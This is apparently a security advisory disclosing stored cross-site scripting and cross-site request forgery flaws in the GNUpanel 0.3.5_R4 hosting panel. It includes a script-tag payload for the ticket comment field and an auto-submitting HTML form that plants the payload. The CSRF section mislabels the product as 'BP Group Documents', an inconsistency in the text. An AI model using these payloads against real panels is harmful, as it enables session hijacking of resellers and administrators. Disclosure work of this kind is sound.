GNUpanel 0.3.5_R4 Cross Site Request Forgery / Cross Site Scripting

2014.03.13
Risk: Medium
Local: No
Remote: Yes
CVE: N/A

# Exploit Title :GNUpanel 0.3.5_R4 - Multiple Vulnerabilities # Vendor Homepage :http://wp.geeklab.com.ar/gl-en/gnupanel/ # GNUPanel Version :0.3.5_R4 # Server :Centos 6.4 # Exploit Author :Necmettin COSKUN =>@babayarisi # Blog :http://www.ncoskun.com http://www.grisapka.org # Discovery date :03/11/2014 # CVE :N/A GNUPanel is a hosting control panel for Debian. It is written in PHP and it is tailored to run on 32 and 64 bit Debian GNU/Linux web hosting servers. Description ================ Stored XSS vulnerability Vulnerability ================ GNUPanel has a pure coded ticket support system Comment "consultar" field is not ascaped so any tags including script tags can be stored in them. customer client can send malicious ticket to reseller client reseller client can send malicious ticket to Server Admin Proof of concept ================ Go to Support tab and click > New Ticket Set subject field Demo Set comment field "><script>alert("XSS");</script> Click Send. Go to Support tab and Click >Pending tickets Click read button Bingo XSS ;) ================ Second one: CSRF vulnerability ================ Description ================ CSRF vulnerability in BP Group Documents 1.2.1 Vulnerability ================ An unauthenticated user can cause a logged in user to create support ticket including malicious code. Proof of concept ================ <html> <body> <form id="baba" method="post" action="http://demo/gnupanel-reseller.php?seccion=tickets&plugin=enviar_ticket"> <input name="asunto" size="45" value="Demo12" maxlength="254"> <textarea name="consultar" rows="10" cols="50"><script>alert("XSS");</script>&lt;/textarea&gt; <input name="ingresando" value="1" type="hidden"> <input name="resetea" value="Reset" type="reset"> <input name="agrega" value="Send" type="submit"> </form> <script type="text/javascript">document.getElementById("baba").submit(); </script> </body> </html> ================ Discovered by: ================ Necmettin COSKUN |GrisapkaGuvenlikGrubu|4ewa2getha!


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